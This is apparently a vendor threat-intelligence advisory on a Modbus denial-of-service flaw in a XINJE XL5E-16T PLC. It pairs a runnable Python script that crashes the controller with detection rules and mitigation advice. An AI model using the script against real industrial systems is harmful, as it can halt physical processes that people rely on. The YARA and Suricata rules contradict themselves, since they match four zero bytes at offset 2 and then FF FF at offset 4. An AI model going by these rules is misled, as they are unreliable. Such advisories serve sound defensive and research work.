CVE-2024-50953

Executive Summary

CVE-2024-50953 exposes a critical Denial of Service (DoS) vulnerability in the XINJE XL5E-16T PLC running firmware version V3.7.2a. An unauthenticated attacker can send a specially crafted Modbus message over the network, causing the device to crash or become unresponsive. This vulnerability is particularly dangerous in industrial control system (ICS) environments where PLCs manage critical processes. The lack of a known patch and the exposure of Modbus/TCP on port 502 make this a high-priority risk for asset owners.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a significant threat to operational technology (OT) networks.

Deep Dive & Mechanics

The XINJE XL5E-16T PLC listens on TCP port 502 for Modbus protocol traffic. The vulnerability lies in how the device parses malformed Modbus Application Data Units (ADUs). By sending a Modbus request with an invalid function code, an oversized payload, or a corrupted header, the PLC’s firmware enters an undefined state, leading to a watchdog timeout or a complete crash. The device must be manually power-cycled to recover, causing prolonged downtime in industrial processes.

The Modbus protocol itself lacks inherent security, and this CVE exploits that weakness. The attack does not require any prior knowledge of the PLC’s configuration, only network access to port 502.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire firmware V3.7.2a. A patched version would need to implement input validation on Modbus frames, such as:

• Checking function code against a whitelist (e.g., 1, 2, 3, 4, 5, 6, 15, 16).
• Validating the length field against the actual payload size.
• Rejecting malformed or oversized packets gracefully.

Vulnerable code (conceptual):

void process_modbus_frame(uint8_t *buffer, int len) {
    // No validation of buffer contents
    uint8_t function_code = buffer[1];
    execute_function(function_code, buffer, len);
}

Patched code (conceptual):

void process_modbus_frame(uint8_t *buffer, int len) {
    if (len < 8) return; // Minimum Modbus ADU size
    uint8_t function_code = buffer[1];
    if (!is_valid_function_code(function_code)) return;
    if (len != expected_length(buffer)) return;
    execute_function(function_code, buffer, len);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a XINJE XL5E-16T PLC with firmware V3.7.2a.
2. Connect the PLC to an isolated network (e.g., 192.168.1.0/24).
3. Use a Linux attacker machine with Python and Scapy installed.

Exploitation: The following Python script sends a malformed Modbus frame to trigger the DoS:

import socket

target_ip = "192.168.1.100"
target_port = 502

# Malformed Modbus TCP ADU: Transaction ID (2 bytes) + Protocol ID (2 bytes) + Length (2 bytes) + Unit ID (1 byte) + Function Code (1 byte) + Data
# Sending an oversized length field to cause buffer overflow
payload = bytes([
    0x00, 0x01,  # Transaction ID
    0x00, 0x00,  # Protocol ID
    0xFF, 0xFF,  # Length (invalid, too large)
    0x01,        # Unit ID
    0x01,        # Function Code (Read Coils)
    # No actual data, but length claims 65535 bytes
])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(payload)
    print("Malformed packet sent. PLC should crash.")
except Exception as e:
    print(f"Error: {e}")
finally:
    sock.close()

Expected Outcome: The PLC becomes unresponsive. All Modbus requests time out. The device requires a power cycle.

Blue Team

Detection:

• Monitor for Modbus packets with abnormal length fields (e.g., length > 260 bytes for standard Modbus).
• Alert on multiple failed Modbus connections from a single source.
• Use network intrusion detection systems (NIDS) to flag malformed Modbus frames.

Hunting:

• Search logs for repeated Modbus connection attempts to port 502 from unusual IPs.
• Check PLC uptime logs; frequent reboots may indicate exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • Modbus TCP packets with length field > 260 bytes.
  • Modbus packets with invalid function codes (e.g., 0x00, 0xFF).
  • Repeated connections to port 502 from a single external IP.
• Host:
  • PLC logs showing unexpected crashes or watchdog resets.
  • PLC web interface (if enabled) showing "Device Unreachable" after attack.
• File:
  • No file-based IOCs; attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2024_50953_Modbus_DoS {
    meta:
        description = "Detects malformed Modbus TCP packets targeting XINJE XL5E-16T PLC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50953"
    strings:
        $modbus_header = { 00 00 00 00 } // Protocol ID for Modbus
        $invalid_length = { FF FF }       // Length field > 260
    condition:
        $modbus_header at 2 and $invalid_length at 4
}

Sigma Rule

title: CVE-2024-50953 Modbus DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects malformed Modbus TCP packets with oversized length fields
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 502
        length: 65535
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-50953 - Malformed Modbus Length Field"; flow:to_server; content:"|00 00 00 00|"; offset:2; depth:4; content:"|FF FF|"; offset:4; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the PLC: Place the XINJE XL5E-16T on a segmented OT network with strict firewall rules blocking port 502 from untrusted sources.
2. Disable Modbus/TCP if not required: Use alternative protocols or local HMI connections.
3. Monitor network traffic: Deploy the provided Suricata rule to detect exploitation attempts.

Long-Term Fix:

• Contact XINJE for a firmware patch. If unavailable, consider replacing the device with a vendor that provides security updates.
• Implement a Modbus firewall or gateway that validates packet integrity before forwarding to the PLC.

Workaround:

• Use a VPN or SSH tunnel to encapsulate Modbus traffic, adding an authentication layer.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.